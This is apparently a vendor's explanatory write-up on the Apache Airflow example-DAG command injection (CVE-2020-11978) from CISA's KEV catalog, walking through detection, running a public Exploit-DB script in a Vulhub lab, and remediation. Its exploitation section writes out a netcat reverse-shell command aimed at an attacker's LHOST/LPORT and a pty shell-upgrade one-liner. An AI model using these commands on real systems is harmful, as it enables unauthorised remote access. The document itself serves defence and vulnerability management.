KEV Catalog: Apache Airflow “Example DAG” Command Injection (CVE-2020-11978)

Known Vulnerability in Apache Airflow

Apache Airflow “Example DAG” Command Injection (CVE-2020-11978)

The CISA Known Exploited Vulnerabilities (KEV) Catalog lists cybersecurity vulnerabilities known to be actively exploited and helps prioritize vulnerability management. CISA includes a due date to remediate the vulnerability, typically two to three weeks from its submission. Actively monitoring the KEV catalog and understanding how these vulnerabilities can be exploited helps security teams recognize each vulnerability’s risk and threat to their network environments. Subscribe to CISA’s KEV Catalog Update Bulletin to stay up to date on new KEV Catalog vulnerabilities.

Date Added to KEV Catalog: January 18, 2022

CISA Due Date for Remediation: July 18, 2022


Apache Airflow

CVE-2020-11978 is a remote code injection vulnerability related to Apache Airflow versions 1.10.10 and below. Apache Airflow “is an open-source platform for developing, scheduling, and monitoring batch-oriented workflows.” A DAG (Directed Acyclic Graph) represents a workflow. These workflows are defined in Python and are a collection of Tasks. These Tasks are represented as operators. An example operator could include bash commands like “echo hello” (shown below), “id”, or a netcat reverse shell (shown in the Exploitation section).This example “demo” DAG from Apache Airflow shows the relationship between a DAG, tasks, and operators:  

If you have four Tasks- A, B, C and D- a DAG would be able to dictate the workflow the order in which they run and their dependencies. Below is an example DAG with Tasks A, B, C, and D:

The following image is a more realistic example showing the graphical aspect of these DAworkflows:  

With this background in mind, NIST provides this description of CVE-2020-11978: 

A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow which would allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use). If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.

This remote code injection vulnerability makes CVE-2020-11978 a critical vulnerability. An example DAG that can be exploited is example_trigger_target_dag. RCE on Apache Airflow combines this example DAG along with CVE-2020-13927 which allows unauthenticated requests to Airflow’s Experimental API by default.  

Systems Affected and Detection

CVE-2020-11978 only affects Apache Airflow versions before 1.10.11. For context, Apache Airflow 1.10.10 was released in April 2020 and the latest version is Airflow 2.5.0 (as of December 2022).

There is a Tenable Nessus plugin that checks for Apache Airflow versions before 1.10.11 and lists 4 CVEs related to these deprecated versions. 

Accessing the Apache Airflow login page and checking documentation is a quick way to check the Airflow version:


Vulhub on Github provides a docker for quick access to test Apache Airflow 1.10.10 (use publicly available docker environment with caution).  

A nmap scan on port 8080 shows Gunicorn 19.10.0. Gunicorn ‘Green Unicorn’ is a Python Web Server Gateway Interface HTTP Server for UNIX.  

Identifying Apache Airflow Version 

Checking port 8080 in a browser shows the web server is hosting Apache Airflow. The Apache Airflow version can be checked via the login page or the admin portal by clicking ”Docs” > ”Documentation” which redirects to the official Apache Airflow version 1.10.10 documentation page: 

Accessing the Apache Airflow site on port 8080 through the Vulhub environment provides direct access to the Airflow admin console which makes it easier to confirm and understand Apache Airflow and successful exploitation of example_trigger_targert_dag.

Identifying Exploitation for 1.10.10

Exploit-DB is a popular database for publicly available exploits. A search for “apache airflow” provides only one exploit result: “Apache Airflow 1.10.10 – ‘Example Dag’ Remote Code Execution:

In Kali Linux, exploits from Exploit-DB are saved in the following location: /usr/share/exploitdb/exploits/ 

The command line tool searchsploit can be used to search these Exploit-DB exploits.

The same Apache Airflow exploit is located here:  /usr/share/exploitdb/exploits/multiple/webapps/ Before running the exploit, looking at the code provides more information about the exploit:

This python script is a RCE exploit of both CVE-2020-13927 and CVE-2020-11978, and provides example usage:

python “touch test”  

The –help command can also be used to get example usage: 

Verifying the Exploit 

Before testing the exploit, the example_trigger_target_dag needs to be turned on. This can be done on the Vulhub environment, but an attacker would not know beforehand if example dags were enabled before running the exploit.

An example test of the exploit uses the “id” command:  

python http://localhost:8080/ “id”

The exploit output shows key information for an attacker: 

  • example_trigger_target_dag.bash_task is vulnerable 
  • example_trigger_target_dag was enabled 
  • Creating new DAG  
  • Successfully created DAG 
  • Bash task was scheduled 

Notice the Bash task of “id” was successfully scheduled, but no results were returned because this is a blind RCE. Blind RCE do not return output to the attacker, so the attacker cannot confirm the attack is successful. 

The Vulhub vulnerable docker environment provides access to the Apache Airflow admin console logs which confirms that the “id” command successful executed.  In the Apache Airflow console select “example_trigger_target_dag” > “bash_task”: 

Select “View Log”. The log shows the bash_task successfully ran the “id” command and shows username “airflow”:

The log confirms the exploit successfully ran the ”id” command and shows it is saved in the ”tmp” directory.

Blind RCE to Reverse Shell  

A simple netcat reverse shell can be used to get remote access to Apache Airflow. Use netcat to listen on a local port (e.g. LPORT is 4444). Use the exploit to send a bash shell to the attacker’s local IP address (LHOST) and local listening port (LPORT):

python http://localhost:8080/ “nc -nv LHOST LPORT –e /bin/bash”

The local port receives the bash shell from Apache Airflow. Linux commands “whoami”, “id” and “pwd” can be used to learn more about the remoteenvironment: 

The current user is “airflow” and within the “tmp” directory path. Bash_task output is also saved in this same “tmp” path. Python can be used to upgrade the simple shell to a fully interactive shell: 

python -c ‘import pty; pty.spawn(“/bin/bash”)’ 

The bash_task output shows the netcat reverse shell that led to remote access:


CVE-2020-11978 can be remediated by setting load_examples=False or manually turning off example DAGs in the Apache Airflow admin console. 

Updating to Apache Airflow versions 1.10.11 and after prevents this vulnerability.